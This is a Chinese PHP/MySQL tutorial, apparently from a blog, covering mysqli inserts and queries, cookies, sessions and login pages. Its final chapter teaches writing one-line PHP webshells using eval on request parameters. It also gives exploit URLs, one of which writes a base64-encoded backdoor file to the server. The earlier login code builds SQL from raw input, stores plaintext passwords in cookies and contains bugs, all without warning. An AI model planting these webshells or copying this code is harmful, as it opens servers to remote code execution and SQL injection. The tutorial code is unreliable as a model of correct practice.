PHP与Mysql之间的纠缠(超详细)
第一章 PHP操作mysql数据库
在正式开始学习前,我们需要开启mysqli扩展,使用phpinof()你可以看到如下展示就说明开启成功:
若没有看到mysqli扩展在windows服务器下,打开php.ini文件,将php_mysqli.dll打开即可。
注意:
从PHP7开始默认不再支持mysql扩展,即不再支持mysql_*系列函数。请使用mysqli连接数据库。
mysqli即支持php5也支持php7。
创建表结构:
CREATE TABLE IF NOT EXISTS users (
id INT(10) NOT NULL,
username varchar(30),
password varchar(30),
createtime date not null,
createip binary(16)
);
index.html代码
<form action="connect.php" method="post">
用户名:<input type="text" name="username"><br />
密码:<input type="password" name="password"><br />
重复密码:<input type="password" name="repassword"><br />
<input type="submit" value="提交">
</form>
connect.php代码如下:
<?php
if (trim($_POST['password']) != trim($_POST['repassword'])) {
exit('两次密码不一致,请返回上一页');
}
$username = trim($_POST['username']);
$password = md5(trim($_POST['password']));
$time = time();
$ip = $_SERVER['REMOTE_ADDR'];
$conn = mysqli_connect('localhost', 'root', 'root');
//如果有错误,存在错误号
if (mysqli_errno($conn)) {
echo mysqli_error($conn);
exit;
}
mysqli_select_db($conn, 'book');
mysqli_set_charset($conn, 'utf8');
$sql = "insert into user(username,password,createtime,createip) values('" . $username . "','" . $password . "','" . $time . "','" . $ip . "')";
$result = mysqli_query($conn, $sql);
if ($result) {
echo '成功';
} else {
echo '失败';
}
echo '当前用户插入的ID为' . mysqli_insert_id($conn);
mysqli_close($conn);
?>
list.php代码如下:
<?php
$conn = mysqli_connect('localhost', 'root', 'root', 'book');
if (mysqli_errno($conn)) {
mysqli_error($conn);
exit;
}
mysqli_set_charset($conn, 'utf8');
$sql = "select id,username,createtime,createip from user order by id desc";
//进行降序排序
$result = mysqli_query($conn, $sql);
if ($result && mysqli_num_rows($result)) {
//查询出来的行数可以使用mysqli_num_rows。这个函数要求传入$result查询的结果变量。
如果有结果则显示列表,如果没有结果我们产生一句提示即可。
echo '<table width="800" border="1">';
while ($row = mysqli_fetch_assoc($result)) {
//使用到的函数是mysqli_fetch_assoc,返回的会是一个关联数组。
这个函数读取一个结果集,会向后移动一次。读取到最后没有结果的时候会返回bool值的false。因此,我们选择while来配合mysqli_fetch_assoc。
每次循环的结果赋值给$row,$row中是关联数组。因此我在这次循环中,可以将行和列都显示出来。
echo '<tr>';
echo '<td>' . $row['username'] . '</td>';
echo '<td>' . date('Y-m-d H:i:s', $row['createtime']) . '</td>';
echo '<td>' . long2ip($row['createip']) . '</td>';
echo '<td><a href="edit.php?id=' . $row['id'] . '">编辑用户</a></td>';
echo '<td><a href="delete.php?id=' . $row['id'] . '">删除用户</a></td>';
echo '</tr>';
}
echo '</table>';
} else {
echo '没有数据';
}
mysqli_close($conn);
?>
第二章 PHP 会话管理和控制
我们知道Cookie是通过将数据保存在客户端来实现与服务端保持连接的,而Session是通过将数据保存在服务器端来实现保持连接的。我们通过一个例子来了解session的机制。
我们去饮料店买饮料,下单以后服务员会给我们一个号码牌,然后你走到一旁,服务员并不认识你是谁,如果你想拿到你的饮料,你必须提供你的号码牌给服务员才可以,服务员通过号码牌来查记录,来确认你是顾客,确认你点了什么饮料,然后才会把你点的饮料给你。
了解了session原理,再回到Web技术中,我们有2种方法让客户端拿到“号码牌”,一种是通过cookie,一种是通过把值嵌入网页传给客户端。我们也有2种方法来让客户端把号码牌传给服务器来拿属于自己的资料,一种是cookie,一种是标准的Query String/POST。
而我们常用的是cookie,因为现在的浏览器都支持cookie,默认也都开启。客户端与服务端彼此都会将cookie发送给对方。来个过程说明一下:打开浏览器输入 www.taobao.com 并回车,由于是第一次与这个网站建立连接,服务端还没有设置过cookie(这里假设当前浏览器是第一次访问这个网址,之前这个网址没有向当前客户端写过cookie),所以没有cookie发送到服务端,服务端在处理完数据返回的时候,会将一个name为sessionid,value为一连串N位字符的cookie发送给客户端,后续客户端再次访问服务端的时候,也会带上这个cookie来访问服务端。于是,他们就这样通过sessionid互相“认识”了。
我们之前拿开会的例子讲了一个小例子:
在几十年前人们开会的时候,都需要带上一个参会证。这个参会证上有这个人的职务、姓名、单位、照片等信息。在开会的时候,会议安保人员、组织者只需要检查相关信息就行了。
这个小例子主要说明一点,人们自己带着自己的参会证,带着自己的信息。这种模式就是cookie。而电脑将这段cookie信息存在了电脑的硬盘里。
Cookie存在哪儿? Cookie的本质是一小段数据,一小段存储在你电脑硬盘中的数据。可是它存在哪里呢?来,我们找一下。
Chrome浏览器的Cookie文件的存放路径是:
C:\Users\你的用户名\AppData\Local\Google\Chrome\User Data\Default\Cookies
Firefox浏览器的Cookies文件存放路径是:
C:\Users\你的用户名\AppData\Roaming\Mozilla\Firefox\Profiles\rdgp36vl.default\cookies.sqlite 每个人可能略有不同
用文本编辑器直接打开Cookies文件看到的是乱码,我们得用工具查看,如下图:
我们来看一下需要关注的几个列,Domain代表的是cookies所属的网站,Name代表的是这个Cookie的名字,Value代表的是Cookie的值,Expires代表的是这个Cookie的有效期。
用一个我们熟悉的网站举例,tudou.com,图上我们可以看到有4个关于 tudou.com 的Cookie,那么当我们访问 tudou.com的时候,浏览器会自动把这4个Cookie的 Name 和 Value 发送到 tudou.com 这个网址所指向的服务器(PS:必须在有效期内,超出有效期的话是不会被发送到服务器的,有效期我们可以依据需求来定),如此一来,服务器就可以根据这些信息来保持与客户端的连接了,通俗点,就是可以通过这些数据来知道你就是你。当服务器收到这些Cookies后,会根据他们的值来做一些处理,做什么处理?这就取决于开发人员想根据这些信息来干嘛了!
一、php 会话控制 之 PHP中的Cookie
通过一个用户首次登陆网站后,再次访问不需要重复输入用户名和密码的例子来学习Cookie。
首先介绍一下php中设置cookie的方法。
php中提供了一个函数来让我们设置cookie,这个函数是:
bool setcookie (
string $名字
[, string $值]
[, int $过期时间 = 0]
[, string $路径]
[, string $域名]
[, bool $安全 = false]
[, bool $http只读 = false]
);
参数 描述
$名字 必需。规定 cookie 的名称。
$值 可选。规定 cookie 的值。
$有效期 可选。规定 cookie 的有效期。
$路径 可选。规定 cookie 的服务器路径。
$域名 可选。规定 cookie 的域名。
$安全 可选。规定是否通过安全的 HTTPS 连接来传输 cookie。
$http安读 可选。如果true,那么js就无法读取改cookie,增加安全性。
一般来说,我们其实用不到上面那么多参数,对于这个函数,我们一般这么用: setcookie(cookie名,cookie值,cookie有效期);
没错,就那么3个。如此一来,我们就可以在服务端通过$_COOKIE['name'] 来读取cookie了。
以下是示例:
我们将文件名命名为:cookie.php。
我们来模拟我们在互联网上见到最常见的例子:输入用户名和密码,登陆成功的过程。
我们来建一个数据库login,其中有表user,有username和password这两个字段。
<?php
//第一次登陆的时候,通过用户输入的信息来确认用户
if ( ( $_POST['username'] != null ) && ( $_POST['password'] != null ) ) {
$userName = $_POST['username'];
$password = $_POST['password'];
//从db获取用户信息
//PS:数据库连接信息改成自己的 分别为主机 数据库用户名 密码
$conn = mysqli_connect('localhost','root','123456');
mysqli_select_db($conn,'test');
$sql = "select * from user where `username` = '$userName' ";
$res = mysqli_query($conn,$sql);
$row = mysqli_fetch_assoc($res);
if ($row['password'] == $password) {
//密码验证通过,设置cookies,把用户名和密码保存在客户端
setcookie('username',$userName,time()+60*60*24*30);//设置时效一个月,一个月后这个cookie失效
setcookie('password',$password,time()+60*60*24*30);
//最后跳转到登录后的欢迎页面
header('Location: welcome.php' . "?username=$userName");
}
}
//再次访问的时候通过cookie来识别用户
if ( ($_COOKIE['username'] != null) && ($_COOKIE['password'] != null) ) {
$userName = $_COOKIE['username'];
$password = $_COOKIE['password'];
//从db获取用户信息
//PS:数据库连接信息改成自己的 分别为主机 数据库用户名 密码
$conn = mysqli_connect('localhost','root','123456','test');
$res = mysqli_query($conn,"select * from user where `username` = '$userName' ");
$row = mysqli_fetch_assoc($res);
if ($row['password'] == $password) {
//验证通过后跳转到登录后的欢迎页面
header('Location: welcome.php' . "?username=$userName");
}
}
?>
<html>
<head>
</head>
<body>
<form action="" method="POST">
<div>
用户名:<input type="text" name="username" />
密 码:<input type="text" name="password" />
<input type="submit" value="登录">
</div>
</form>
</body>
</html>
跳转到的welcome.php代码
<?php
$user = $_GET['username'];
?>
<html>
<head>
</head>
<body>
welcome,<?php echo $user;?>
</body>
</html>
这样,当我第一次访问cookie.php的时候,我需要输入用户名和密码,输入完毕后跳转到了welcome.php。然后我关闭浏览器,再次打开cookie.php,这次没有要求我输入用户信息,而是直接跳转到了welcome.php,因为之前我们存的cookie信息被浏览器自动发送到了服务端,服务端做完处理直接跳转到了welcome.php,服务器认识我们了!知道我是之前那个登陆过的用户,这样我们就通过cookie技术让无状态的HTTP协议保持了状态。
照着这个做一遍,我相信你会用cookie了。
二、php 会话控制 之 PHP中的session
1.开启session
首先我们要开启session,那么第一个要学习的函数就是bool session_start()了,这个函数没有参数。在php文件的开始使用
session_start();
就可以启用新会话或者重用现有会话了。
2.添加session数据
开启会话之后,那么在接下来的处理中,我们就可以使用$_SESSION变量来存取信息了。我们要知道的是$_SESSION变量是个数组。当我们要把信息存入session的时候应该这么写:
$_SESSION['userName'] = 'wang';
3.读取session数据
读取很简单,就像我们使用数组一样,如下:
$userName = $_SESSION['userName'];
当然也可以 $_SESSION['userName'] 来用。和数组一样的使用。
4.销毁session数据
我们可以使用很多种方式来销毁session数据。
a) unset函数
我们通过使用类似
unset($_SESSION['XXX']);
来销毁session中的 XXX 变量。PS:请不要!请不要!请不要unset($_SESSION),会导致后续无法使用$_SESSION这个变量!!!
b) 空数组赋值给session变量
$_SESSION = array();
之前我们说过$_SESSOIN变量是个数组,那么空数组赋值的话也是相当于将当前会话的$_SESSION变量中的值销毁。
c) session_destory() 函数
这个函数会销毁当前会话中的全部数据,并结束当前会话。但是不会重置当前会话所关联的全局变量, 也不会重置会话 cookie。
5.session的扩展:默认session存储在哪里。
在php.ini配置文件中有这么一行 session.save_handler = files,
files,说明了php默认的是用文件读写的方式来保存session的。那么在哪个目录呢?继续看。session.save_path = "/tmp",这一行前面有个 ; ,说明是被注释的,不过即便这样,php默认的session 也是保存在这里的,/tmp目录。
6.SESSION登录实例:
login.php文件
<?php
session_start();
if ( ( $_POST['username'] != null ) && ( $_POST['password'] != null ) ) {
$userName = $_POST['username'];
$password = $_POST['password'];
//从db获取用户信息 数据库信息改成自己的
$conn = mysqli_connect('host','username','password','login');
mysqli_select_db($conn,'oldboy');
$res = mysqli_query($conn,"select * from user where `username` = '$username' ");
$row = mysqli_fetch_assoc($res);
if ($row['password'] == $password) {
//密码验证通过,设置session,把用户名和密码保存在服务端
$_SESSION['username'] = $username;
$_SESSION['password'] = $password;
//最后跳转到登录后的欢迎页面 //注意:这里我们没有像cookie一样带参数过去
header('Location: welcome.php');
}
?>
<html>
<head>
<!-- 这里指明页面编码 -->
<meta charset="utf-8">
</head>
<body>
<form action="" method="POST">
<div>
用户名:<input type="text" name="username" />
密 码:<input type="text" name="password" />
<input type="submit" value="登录">
</div>
</form>
</body>
</html>
welcome.php 这里我们用的是session中的信息,而不是像cookie一样在url中带参数过来
<?php
session_start();
$username = $_SESSION['username'];
?>
<html>
<head>
</head>
<body>
welcome,<?php echo $username;?>
</body>
</html>
第三章 PHP 项目
编写一句话木马
案例1:
<?php
$a = $_REQUEST['a'];
$b = null;
eval($b.$a);
?>
利用方法:
http://localhost:63342/WWW/yiju.php?_ijt=31jik4g1bmmhfla9nfdidrfc28&a=phpinfo();
http://localhost:63342/WWW/yiju.php?_ijt=31jik4g1bmmhfla9nfdidrfc28&a=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
案例2:
<?php @eval($_POST['1']);?>
PHP与Mysql之间的纠缠(超详细)的更多相关文章
- CentOS 7安装MySQL 8——萌新超详细教程
1.配置MySQL 8.0的安装源: sudo rpm -Uvh https://dev.mysql.com/get/mysql80-community-release-el7-1.n ...
- vue组件之间通信总结(超详细)
组件通信在我们平时开发过程中,特别是在vue和在react中,有着举足轻重的地位.本篇将总结在vue中,组件之间通信的几种方式: props.$emit $parent.$children $attr ...
- Linux 安装 MySQL 8.0.26 超详细图文步骤
1.MySQL 8.0.26 下载 官方网站下载 MySQL 8.0.26 安装包,下载地址: https://downloads.mysql.com/archives/community/ 需要注意 ...
- 【转】(超详细)jsp与servlet之间页面跳转及参数传递实例
初步学习JavaEE,对其中jsp与Servlet之间的传值没弄清楚,查看网上资料,发现一篇超详细的文章,收获大大,特此记录下来.具体链接:http://blog.csdn.net/ssy_shand ...
- 超详细,多图文使用galera cluster搭建mysql集群并介绍wsrep相关参数
超详细,多图文使用galera cluster搭建mysql集群并介绍wsrep相关参数 介绍galera cluster原理的文章已经有一大堆了,百度几篇看一看就能有相关了解,这里就不赘述了.本文主 ...
- Linux系统部署JavaWeb项目(超详细tomcat,nginx,mysql)
转载自:Linux系统部署JavaWeb项目(超详细tomcat,nginx,mysql) 我的系统是阿里云的,香港的系统,本人选择的是系统镜像:CentOS 7.3 64位. 具体步骤: 配置Jav ...
- 超强、超详细Redis数据库入门教程
这篇文章主要介绍了超强.超详细Redis入门教程,本文详细介绍了Redis数据库各个方面的知识,需要的朋友可以参考下 [本教程目录] 1.redis是什么2.redis的作者何许人也3.谁在使用red ...
- 超强、超详细Redis数据库入门教程(转载)
这篇文章主要介绍了超强.超详细Redis入门教程,本文详细介绍了Redis数据库各个方面的知识,需要的朋友可以参考下 [本教程目录] 1.redis是什么 2.redis的作者何许人也 3.谁在使 ...
- 超强、超详细Redis入门教程【转】
这篇文章主要介绍了超强.超详细Redis入门教程,本文详细介绍了Redis数据库各个方面的知识,需要的朋友可以参考下 [本教程目录] 1.redis是什么2.redis的作者何许人也3.谁在使用red ...
随机推荐
- 前端知识之HTML标签
1.HTML是一个标准,规定了大家怎么写网页. 2.HTML->>学标签 <标签名> --> 标记语言(HTML.XML) 3.标签分类 双标签.单标签 (1)& ...
- mysql之用户
1.通过Navicat For Mysql可以查看目前的用户情况 2.创建用户 create user 'Fqq'@'127.0.0.1' IDENTIFIED by '123'; -- 创建一个用户 ...
- mysql官网下载yum
1.进入mysql官网 2.下载页面最下方的社区下载 3.找到yum库 下载: 7.安装.rpm[root@test tools]# rpm -ivh mysql80-community-releas ...
- 公司新来的小姐姐不懂java中的static关键字,这样给她描述不香吗?
前言 static关键字是摆在刚入行编程语言的小白们面前的一道难题,为什么要用static?使用它有什么好处?修饰方法和修饰变量有什么区别?本文将就java中static关键字的使用方法及注意事项进行 ...
- LeetCode周赛#206
1583. 统计不开心的朋友 #模拟 #暴力 题目链接 题意 有n为朋友,对每位朋友i,preference[i]包含 按亲密度从大到小 的朋友编号. 朋友们会被分为若干对,配对情况由pairs数组给 ...
- C语言--计算代码段运行时间
c语言中有专一包含计算时间函数的头文件,time.h.当我们需要计算某段程序运行的时间时就需要用到time.h包含的clock()函数,在这里介绍一下如何使用这个函数计算代码运行时间. clock函数 ...
- charles功能(三)弱网测试(模拟超慢网速,会导致接口数据返回超时的那种慢)
模拟超慢网速(会导致接口数据返回超时的那种...) 设置带宽和延迟时间(毫秒) 注:可以根据下图中的翻译体会下导致网络延迟的原因: 然后打开网页回变得非常满
- IT人的5G网络架构视点:从网络架构演进的前世今生详解5G各NF网络功能体
一.引言 以前从来没关注电信无线上网网络的具体架构(也即PS域架构),现在开始学5G接触这些东西时,理解起来很痛苦,资料也少,于是一方面到处找人咨询,一方面到处查资料,最后发现应该从3G.4G时代的架 ...
- PyQt(Python+Qt)学习随笔:QTabWidget部件选项卡可用状态访问方法isTabEnabled、setTabEnabled
老猿Python博文目录 专栏:使用PyQt开发图形界面Python应用 老猿Python博客地址 QTabWidget的每个选项卡及页面可设置是否可用,如果选项卡不可用时,则不能通过操作手工切换到该 ...
- PyQt(Python+Qt)学习随笔:树型部件QTreeWidget的itemAbove、itemBelow方法作用探究
老猿Python博文目录 专栏:使用PyQt开发图形界面Python应用 老猿Python博客地址 在QTreeWidget的方法中,对于itemBelow.itemAbove方法,官网文档介绍非常简 ...

